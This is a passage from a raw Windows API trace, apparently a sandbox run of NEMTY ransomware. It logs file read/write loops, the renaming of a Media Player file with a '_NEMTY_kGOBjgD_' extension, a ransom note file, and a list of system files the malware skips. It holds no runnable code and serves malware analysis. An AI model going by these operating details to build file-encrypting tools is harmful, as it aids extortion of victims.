lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.965] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.966] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.981] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.981] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0104.987] CloseHandle (hObject=0xffffffff) returned 0 [0104.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0104.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0104.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0104.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0104.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0104.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0104.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0104.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340308 [0104.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0104.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0104.987] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\renderingcontrol.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\media renderer\\renderingcontrol.xml._nemty_kgobjgd_")) returned 0 [0104.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0104.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0104.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0104.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0104.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0104.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0104.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0104.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.988] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.988] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1b17c10, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf1b17c10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf1b17c10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0104.988] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0104.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.988] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0104.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0104.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0104.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0104.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0104.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0104.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0104.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0104.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0104.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0104.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94248 [0104.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0104.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.989] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1b17c10, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf1b17c10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf1b17c10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0104.989] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0104.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0104.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d0 | out: hHeap=0x4f90000) returned 1 [0104.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0104.989] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba168ab, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6ba168ab, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x3401fe00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0104.989] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".") returned 1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="..") returned 1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="...") returned 1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="windows") returned -1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="$RECYCLE.BIN") returned 1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="rsa") returned -1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="NTDETECT.COM") returned -1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="ntldr") returned -1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="MSDOS.SYS") returned -1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="IO.SYS") returned 1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="boot.ini") returned 1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="boot.ini") returned 1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="AUTOEXEC.BAT") returned 1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="ntuser.dat") returned -1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="desktop.ini") returned 1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="CONFIG.SYS") returned 1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="RECYCLER") returned -1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="BOOTSECT.BAK") returned 1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="bootmgr") returned 1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="programdata") returned -1 [0104.990] lstrcmpiW (lpString1="mpvis.DLL", lpString2="appdata") returned 1 [0104.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0104.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.DLL", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpvis.DLL", lpUsedDefaultChar=0x0) returned 9 [0104.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0104.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.DLL", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpvis.DLL", lpUsedDefaultChar=0x0) returned 9 [0104.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0104.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.DLL", cchWideChar=9, lpMultiByteStr=0x653f5e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpvis.DLL", lpUsedDefaultChar=0x0) returned 9 [0104.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0104.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.DLL", cchWideChar=9, lpMultiByteStr=0x653f618, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpvis.DLL", lpUsedDefaultChar=0x0) returned 9 [0104.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0104.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0104.991] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="Network Sharing", cAlternateFileName="NETWOR~1")) returned 1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2=".") returned 1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="..") returned 1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="...") returned 1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="windows") returned -1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="$RECYCLE.BIN") returned 1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="rsa") returned -1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="NTDETECT.COM") returned -1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="ntldr") returned -1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="MSDOS.SYS") returned 1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="IO.SYS") returned 1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="boot.ini") returned 1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="boot.ini") returned 1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="AUTOEXEC.BAT") returned 1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="ntuser.dat") returned -1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="desktop.ini") returned 1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="CONFIG.SYS") returned 1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="RECYCLER") returned -1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="BOOTSECT.BAK") returned 1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="bootmgr") returned 1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="programdata") returned -1 [0104.991] lstrcmpiW (lpString1="Network Sharing", lpString2="appdata") returned 1 [0104.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Network Sharing", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0104.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Network Sharing", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Network Sharing", lpUsedDefaultChar=0x0) returned 15 [0104.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Network Sharing", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0104.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Network Sharing", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Network Sharing", lpUsedDefaultChar=0x0) returned 15 [0104.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f940f0 [0104.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0104.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94168 [0104.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0104.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0104.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.992] 